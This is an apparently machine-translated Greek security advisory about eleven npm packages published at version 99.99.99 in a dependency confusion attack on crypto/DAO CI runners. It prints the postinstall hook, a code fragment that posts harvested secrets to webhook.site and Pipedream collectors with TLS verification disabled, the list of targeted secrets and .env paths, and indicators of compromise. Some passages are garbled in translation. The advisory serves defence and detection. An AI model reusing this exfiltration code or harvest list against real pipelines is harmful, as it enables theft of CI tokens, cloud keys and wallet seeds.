Σύγχυση CryptoDAO: Συγκομιδή πακέτων npm CI/CD και Κρυπτονομίσματα

Σύγχυση CryptoDAO: έντεκα πακέτα npm, ένα ωφέλιμο φορτίο, συλλογή CI/CD και μυστικά κρυπτο-πορτοφολιού

TL? DR

Στις 17-06-2026, δημοσιεύτηκε ένας μόνο λογαριασμός npm έντεκα πακέτα που μοιράζονται έναν σκοπό και ένα ωφέλιμο φορτίοΔέκα από αυτά φέρουν το cryptodao- πρόθεμα (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); το ενδέκατο είναι το πεδίο εφαρμογής @public-for-cdao/core. Κάθε ένα δημοσιεύτηκε στην έκδοση 99.99.99 και στέλνει ένα όμοιο με byte recon.js που συνεχίζεται postinstall.

Τα ονόματα είναι η απόδειξη. Διαβάζονται σαν τα εσωτερικά δομικά στοιχεία της ιδιωτικής αλυσίδας εργαλείων ενός έργου κρυπτογράφησης/DAO. Δημοσιεύονται στο δημόσιο μητρώο npm σε μια τεχνητά υψηλή έκδοση, περιμένουν μια κατασκευή. pipeline που έχει ρυθμιστεί για να επιλύει αυτά τα ονόματα και που φτάνει στο δημόσιο npm πριν — ή αντί — από το ιδιωτικό μητρώο. Αυτό είναι σύγχυση εξάρτησης, και το ωφέλιμο φορτίο συντονίζεται ακριβώς για το σημείο που αναμένεται να προσγειωθεί: CI/CD δρομείς.

Κατά τη postinstall φωτιές, recon.js συλλέγει στοιχεία κεντρικού υπολογιστή, σαρώνει κατά προσέγγιση σαράντα μεταβλητές περιβάλλοντος cloud, CI και κρυπτοπορτοφολιού, διαβάζει οποιοδήποτε .env αρχεία που μπορεί να βρει και να προωθήσει τις γραμμές που φέρουν το μυστικό αυτό καθαυτό, και στη συνέχεια μεταδίδει τη δέσμη σε δύο συλλέκτες — webhook.site και ένα τελικό σημείο Pipedream — με απενεργοποιημένη την επαλήθευση πιστοποιητικού TLS. Ένα αντίγραφο γράφεται επίσης στην ενότητα /tmp.

Αυστηρότητα: ψηλάΕπηρεαζόμενο οικοσύστημα: npmΚαι τα έντεκα πακέτα ήταν διαθέσιμα τη στιγμή που γράφονταν αυτές οι γραμμές.

Ανατομία επίθεσης

Ο μηχανισμός έχει τέσσερα κινούμενα μέρη και κανένα από αυτά δεν είναι ανεπαίσθητο όταν το ξέρεις. κοιτάξτε ένα επίπεδο μετά το όνομα του πακέτου.

1. Η διόγκωση της έκδοσης ως δέλεαρ επίλυσης. Κάθε πακέτο δηλώνει την έκδοση 99.99.99Η σύγχυση εξαρτήσεων λειτουργεί όταν ένας διαχειριστής πακέτων ζητά ένα εσωτερικό όνομα, ελέγχει επίσης το δημόσιο μητρώο και επιλέγει την υψηλότερη έκδοση που βρίσκει. Η προεπιλεγμένη επιλογή του npm για ένα εύρος κέρσου ή μπαλαντέρ είναι η την έκδοση με την υψηλότερη ικανοποίηση σε κάθε διαμορφωμένη πηγή· εάν και οι δύο είναι ιδιωτικές μητρώου και δημόσιας απάντησης npm για το ίδιο όνομα, ο μεγαλύτερος αριθμός έκδοσης κερδίζει. A 99.99.99 υπερτερεί ουσιαστικά σε οποιαδήποτε πραγματική εσωτερική έκδοση που θα έχει ένα έργο επιτευχθεί, επομένως ένας αναλυτής που δεν είναι συνδεδεμένος στην ιδιωτική πηγή προτιμά το δημόσιο — και σε αυτήν την περίπτωση, εχθρικό — αντίγραφο. Ο χειριστής δεν χρειάζεται να γνωρίζει το πραγματικοί αριθμοί έκδοσης του Target. Η επιλογή ενός παράλογου μέγιστου εγγυάται πάντα την ισοπαλία τους σπάει τον δρόμο.

2. Ένα έναυσμα μετά την εγκατάσταση. πακέτο.json συνδέει το ωφέλιμο φορτίο στην εγκατάσταση κύκλος ζωής:

{   "scripts": { "postinstall": "node recon.js" } }

Δεν απαιτείται εισαγωγή του πακέτου. Απλώς εγκαθίσταται — το οποίο είναι ένα CI pipeline εκτελείται αυτόματα — recon.js.

3. Μια ευρεία μυστική επιχείρηση. recon.js συναρμολογεί έναν πίνακα αποτελεσμάτων σε στάδια:

  • Περιβάλλον κεντρικού υπολογιστή: όνομα κεντρικού υπολογιστή, πλατφόρμα και έκδοση, αρχιτεκτονική, όνομα χρήστη, λειτουργία Κατάλογο.
  • Μεταβλητές περιβάλλοντος: επαναλαμβάνει μια σταθερή λίστα περίπου σαράντα ονομάτων και εγγραφών οποιαδήποτε που έχουν οριστεί. Η λίστα είναι αποκαλυπτική — συνδυάζει γενικά διακριτικά CI (CI_JOB_TOKEN, ΚΩΔΙΚΟΣ_ΜΗΤΡΩΟΥ_CI, GITLAB_ACCESS_TOKEN) και cloud διαπιστευτήρια (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) με μυστικά μητρώου και κοντέινερ (NPM_TOKEN, ΚΩΔΙΚΟΣ_ΠΡΟΣΒΑΣΗΣ_DOCKER, ΚΩΔΙΚΟΣ_ΠΡΟΣΒΑΣΗΣ_ΛΙΜΑΝΙΟΥ) και ένα σύμπλεγμα με έντονα κρυπτογραφική γεύση:  ΙΔΙΩΤΙΚΟ_ΚΛΕΙΔΙ, ΜΝΗΜΟΝΙΚΟΣ, ΦΡΑΣΗ_ΣΠΟΡΟΥ, INFURA_API_KEY, ΚΛΕΙΔΙ_ΑΛΧΗΜΕΙΑΣ_API, ETH_RPC, BSC_RPCΟι καταγεγραμμένες τιμές περικόπτονται στους πρώτους 50 χαρακτήρες.
  • .env αρχεία: διερευνά μια λίστα διαδρομών — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, και την .παραγωγή/.ανάπτυξη παραλλαγές — και για οποιοδήποτε αρχείο που υπάρχει, φιλτράρει τα περιεχόμενα σε γραμμές που ταιριάζουν ΚΛΕΙΔΙ|ΜΥΣΤΙΚΟ|ΔΙΑΝΟΜΗ|ΚΩΔΙΚΟΣ|ΙΔΙΩΤΙΚΟΣ|ΜΝΗΜΟΝΙΚΟΣ και εισάγει αυτές τις γραμμές **ολοκληρωμένες, χωρίς περικοπή** στα αποτελέσματα.
  • Πλαίσιο Build-host: παραθέτει τις πρώτες 20 καταχωρήσεις του /κατασκευάζει/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/και / tmp /.

Η λίστα διαδρομών και η λίστα μεταβλητών έχουν σταθμιστεί προς τους εκτελεστές GitLab, γεγονός που υποδηλώνει το ωφέλιμο φορτίο βρίσκεται ακριβώς σε αυτο-φιλοξενούμενη υποδομή CI αντί για έναν προγραμματιστή φορητό υπολογιστή. Η ομαδοποίηση της λίστας συγκομιδής ανά κατηγορία καθιστά σαφή την προβλεπόμενη ανάσυρση:

Κατηγορία Μεταβλητές / διαδρομές που επιτεύχθηκαν
CI/CD ταυτότητα & ανάπτυξη CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Backup AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Μητρώο & κοντέινερ NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Αποθήκες δεδομένων DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Κρυπτογράφηση / blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Μηνύματα SLACK_TOKEN, DISCORD_TOKEN
Στο δίσκο .env οικογένεια + /home/gitlab-runner/.env, /root/.env, /app/**/.env; καταχωρίσεις καταλόγου /builds/, /var/lib/gitlab-runner/

Το cluster κρυπτογράφησης είναι το μέρος που το διακρίνει από ένα γενικό CI-secret. σάρωση: οι φράσεις εκκίνησης πορτοφολιού και τα κλειδιά υπογραφής εμφανίζονται μόνο στο περιβάλλον ενός έργο blockchain, και αντιστοιχίζονται απευθείας στο κρυπτοδάο-/σήμα/συμβάσεις ονοματοδοσία των μεταφορέων.

4. Διπλή εξαγωγή με απενεργοποιημένη επαλήθευση. Ο συλλεγμένος πίνακας είναι σειριοποιήθηκε και αποστέλλεται ΔΗΜΟΣΙΕΥΜΕΝΟ σε δύο προορισμούς:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

απόρριψηΜη εξουσιοδοτημένο: ψευδές απενεργοποιεί τους ελέγχους πιστοποιητικών TLS για την εξερχόμενη κλήσεις. Τα ίδια δεδομένα εκτυπώνονται στο stdout (επομένως καταλήγουν και στα αρχεία καταγραφής εργασιών CI) και γραμμένο σε /tmp/.npm_recon_ .jsonΤα λάθη γίνονται αντιληπτά σιωπηλά, επομένως ένα Η αποτυχημένη αποστολή δεν αφήνει ίχνος στην έξοδο εγκατάστασης πέρα ​​από ένα μόνο [αναγνώριση] εγκατεστημένο σε γραμμή.

Ένα κύριο σχόλιο στο αρχείο το περιγράφει ως «Σύγχυση Εξάρτησης». "Ωφέλιμο φορτίο αναγνώρισης." Η περικοπή των τιμών περιβάλλοντος σε 50 χαρακτήρες έχει το σχήμα μιας απόδειξης της έννοιας. Αυτό που το μετακινεί πέρα ​​από ένα beacon μόνο με παρουσία είναι το .env χειρισμός: οι γραμμές που φέρουν μυστικά προωθούνται πλήρως και οι προορισμοί είναι δύο ενεργοί, ελεγχόμενοι από εισβολείς συλλέκτες και όχι ένας νεροχύτης που μετράει μόνο επιτυχίες.

Χρονολόγιο

Το μοτίβο δημοσίευσης είναι η υπογραφή ενός μόνο σεναρίου, όχι έντεκα ανεξάρτητες μεταφορτώσεις.

Ώρα (UTC, 2026-06-17) Συμβάν
03:24:58 cryptodao-bot@99.99.99 δημοσιεύθηκε
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — παραλλαγή με σκόπευση, ~24 λεπτά αργότερα

Δέκα πακέτα εστάλησαν μέσα σε ένα χρονικό διάστημα 29 δευτερολέπτων, περίπου ένα κάθε τρία δευτερόλεπτα. Το πεδίο εφαρμογής @public-for-cdao/core ακολούθησε περίπου 24 λεπτά μετά — ένα δευτερόλεπτο σύμβαση ονομασίας για τον ίδιο στόχο, σε περίπτωση που το έργο που καταναλώνει αναφέρεται στο εσωτερική αλυσίδα εργαλείων κάτω από ένα πεδίο εφαρμογής και όχι ως απλά ονόματα.

Δείκτες συμβιβασμού

Χαρακτηριστικά Δείκτης
Συλλέκτης hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Συλλέκτης hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Εγκατάσταση γάντζου postinstall: node recon.js
Απορριφθέν αρχείο /tmp/.npm_recon_<timestamp>.json
Δείκτης καταγραφής [recon] <pkg>@<ver> installed on <hostname> (stdout στα αρχεία καταγραφής CI)
Συμπεριφορά rejectUnauthorized: false σε εξερχόμενο HTTPS κατά την εγκατάσταση
Φορτίο επί πληρωμή recon.js, πανομοιότυπο σε όλα τα έντεκα πακέτα (μία κοινόχρηστη έκδοση)
Έκδοση 99.99.99 σε κάθε συσκευασία
Πακέτα cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (όλα 99.99.99)
Publisher aduljune / aduljune@proton.me (μη επαληθευμένο email, δεν υπάρχει συνδεδεμένο αποθετήριο πηγής)

 Απόδοση και παρατηρούμενη συμπεριφορά

Όλα όσα αφορούν το σύμπλεγμα υποδεικνύουν το ένα χέρι. Και τα έντεκα πακέτα δημοσιεύθηκαν. από τον λογαριασμό npm aduljune (aduljune@proton.me, μια μη επαληθευμένη διεύθυνση χωρίς συνδεδεμένο αποθετήριο πηγής), μέσα σε διάστημα 25 λεπτών, ταυτόχρονα 99.99.99 εκδοχή, αποστολή ενός recon.js των οποίων τα περιεχόμενα είναι byte προς byte πανομοιότυπα σε κάθε πακέτο (το MD5 ταιριάζει και στα έντεκα εξαγόμενα αντίγραφα). Αυτό είναι ένα ωφέλιμο φορτίο σφραγισμένο σε μια λίστα ονομάτων, όχι σε ανεξάρτητη επαναχρησιμοποίηση κώδικα.

Η λίστα ονομάτων καθορίζει τον επιδιωκόμενο στόχο. κρυπτοδάο-* και cdao περίγραψε το διάταξη ιδιωτικής ενότητας ενός έργου κρυπτογράφησης/DAO και η λίστα συγκομιδής του ωφέλιμου φορτίου καθρέφτες που μαντεύουν: παράλληλα με τα γενικά μυστικά CI και cloud, συγκεκριμένα φτάνει για ΙΔΙΩΤΙΚΟ_ΚΛΕΙΔΙ, ΜΝΗΜΟΝΙΚΟΣ, ΦΡΑΣΗ_ΣΠΟΡΟΥ, και Ethereum/BSC RPC και κλειδιά παρόχου. Το .env οι διαδρομές αναζήτησης και οι καταχωρίσεις καταλόγων είναι GitLab-runner συγκεκριμένο. Το παρατηρήσιμο αποτέλεσμα είναι ότι οποιοδήποτε pipeline ξεγέλασαν για να τα εγκαταστήσουν τα ονόματα θα προωθούσαν τα διακριτικά CI, τα κλειδιά cloud και τα στοιχεία στον δίσκο .env μυστικά — και, για ένα έργο blockchain, το υλικό του πορτοφολιού του — σε δύο τρίτους συλλέκτες.

Δεν φέρουμε καμία αξίωση σχετικά με το ποιος διαχειρίζεται τον λογαριασμό ή τι σχεδίαζαν να κάνουν με αυτόν. δεδομένα. Τα γεγονότα που στέκονται από μόνα τους: τα ονόματα στοχεύουν σε ένα συγκεκριμένο είδος εσωτερική αλυσίδα εργαλείων, το ωφέλιμο φορτίο διαβάζει και μεταδίδει πραγματικές μυστικές τιμές, και το η υποδομή ήταν ενεργή.

Αντίκτυπος, τάσεις και καθοδήγηση αμυντικού

Σύγχυση εξάρτησης παραμένει αποτελεσματικό επειδή εκμεταλλεύεται τη συμπεριφορά του αναλυτή, όχι ένα ευπάθεια σε οποιοδήποτε πακέτο. Ο μεταφορέας εδώ είναι ασήμαντος - έντεκα σχεδόν άδειοι πακέτα — αλλά η ακτίνα έκρηξης είναι όποια pipeline κατά λάθος προτιμά το δημόσιο npm για ένα εσωτερικό όνομα. Οι CI runners είναι το χειρότερο μέρος για να συμβεί αυτό: κατέχουν ακριβώς τα κέρματα και .env αρχεία που διαβάζει αυτό το ωφέλιμο φορτίο και τα εγκαθιστά εξαρτήσεις μη αλληλεπιδραστικά, επομένως ένα μετά την εγκατάσταση τρέχει χωρίς να παρακολουθεί κανείς.

Αυτό το σύμπλεγμα ταιριάζει επίσης σε ένα μοτίβο που βλέπουμε συνεχώς: φορτία κατά τον χρόνο εγκατάστασης που παρουσιάζουν ως «έρευνα» ή «αναγνώριση» ενώ παράλληλα πραγματοποιούνταν πραγματική συλλογή πιστοποιητικών. Η ετικέτα στο αρχείο δεν αλλάζει τι κάνει ο κώδικας σε έναν δρομέα. Δύο επιλογές σχεδίασης διατηρούνται η σιωπηλή δραστηριότητα: κάθε λειτουργία δικτύου και συστήματος αρχείων είναι τυλιγμένη σε ένα χειριστής εξαιρέσεων που απορρίπτει σφάλματα, επομένως μια μπλοκαρισμένη αποστολή ή ένα αρχείο που λείπει δεν παράγει διαγνωστικό αποτέλεσμα και το μόνο που εκτυπώνεται είναι ένα μόνο αβλαβές [αναγνώριση] … εγκατεστημένο γραμμή που ενσωματώνεται στην κανονική φλυαρία εγκατάστασης. Η χρήση του webhook.site και το Pipedream είναι επίσης σκόπιμη ευκολία — και τα δύο είναι δωρεάν, άμεσα παρεχόμενες υπηρεσίες λήψης αιτημάτων, επομένως ο χειριστής δεν χρειάζεται διακομιστές τα δικά τους και οι προορισμοί μοιάζουν με συνηθισμένα ονόματα κεντρικών υπολογιστών SaaS στα αρχεία καταγραφής εξόδου.

Τα οικονομικά είναι αυτά που το κάνουν να αξίζει την προσοχή ενός υπερασπιστή, παρόλο που Ο κωδικός φορέα είναι ασήμαντος. Η καταχώριση έντεκα ονομάτων δεν κοστίζει τίποτα, το ωφέλιμο φορτίο είναι ένα το αρχείο αντιγράφηκε έντεκα φορές και ο διαχειριστής πακέτων εκτελεί όλη την εκτέλεση. Ένα μόνο λανθασμένα διαμορφωμένο pipeline οπουδήποτε καταναλώνει ένα από αυτά τα ονόματα πληρώνει για το σύνολο λειτουργία.

Συγκεκριμένα βήματα για τους αμυντικούς:

  • Καρφιτσώστε εσωτερικά πεδία στο ιδιωτικό σας μητρώο. Ρυθμίστε τις παραμέτρους του npm έτσι ώστε τα εσωτερικά ονόματα να είναι κωδικοποιημένα.
     και τα πεδία εφαρμογής επιλύονται μόνο με βάση το μητρώο σας (αντιστοιχίσεις μητρώου .npmrc με πεδίο εφαρμογής,
    ή ένας διακομιστής μεσολάβησης που δεν υπολείπεται ποτέ του δημόσιου npm για ιδιόκτητους χώρους ονομάτων). Κρατήστε τα ονόματα δημόσιου πεδίου εφαρμογής σας έτσι ώστε κανείς άλλος να μην μπορεί να τα καταχωρίσει.
  • Commit κλειδώστε τα αρχεία και εγκαταστήστε με –ignore-scripts σε CI όπου είναι εφικτό, ή Ελέγξτε το μικρό σύνολο εξαρτήσεων που πραγματικά χρειάζονται σενάρια εγκατάστασης.  Το recon.js δεν μπορεί να εκτελεστεί εάν μετά την εγκατάσταση δεν εκτελείται.
  • Αντιμετωπίστε μια έκδοση 99.99.99 (ή άλλη παράλογα υψηλή) ενός εσωτερικού ονόματος ως κόκκινη σημαία στην αναθεώρηση εξαρτήσεων και την παρακολούθηση μητρώου.
  • Ειδοποίηση κατά την έξοδο κατά την εγκατάσταση. A μετά την εγκατάσταση που ανοίγει ένα εξερχόμενο HTTPS σύνδεση — ειδικά με απενεργοποιημένη την επαλήθευση πιστοποιητικού — προς Οι υπηρεσίες webhook.site, Pipedream ή παρόμοιες υπηρεσίες καταγραφής αιτημάτων αξίζει να αποκλειστούν στην άκρη του δικτύου και να επισημανθούν στα αρχεία καταγραφής δημιουργίας.
  • Αναζητήστε τα αντικείμενα. Ελέγξτε τους δρομείς για /tmp/.npm_recon_*.json και για το [αναγνώριση] … εγκατεστημένο σε … δείκτη στα πρόσφατα αρχεία καταγραφής CI. Εάν βρεθεί, εναλλάξτε κάθε πιστοποιητικό που εκτίθεται σε αυτό pipeline — διακριτικά CI, κλειδιά cloud, διακριτικά μητρώου και τυχόν seeds πορτοφολιού ή ιδιωτικά κλειδιά που υπάρχουν στο περιβάλλον ή σε αρχεία .env.

Αναφορές

Δεν υπήρχε εξωτερική αναφορά για αυτήν την ομάδα κατά τη στιγμή της σύνταξης του παρόντος. τα παραπάνω βασίζονται απευθείας στα δημοσιευμένα περιεχόμενα της συσκευασίας

εργαλεία-ανάλυσης-σύνθεσης-λογισμικού-sca
Ιεράρχηση, αποκατάσταση και ασφάλεια των κινδύνων λογισμικού σας
Αποκτήστε τον Δωρεάν Λογαριασμό σας.
Δεν απαιτείται πιστωτική κάρτα.

Ασφαλίστε την ανάπτυξη και την παράδοση λογισμικού σας

με το Xygeni Product Suite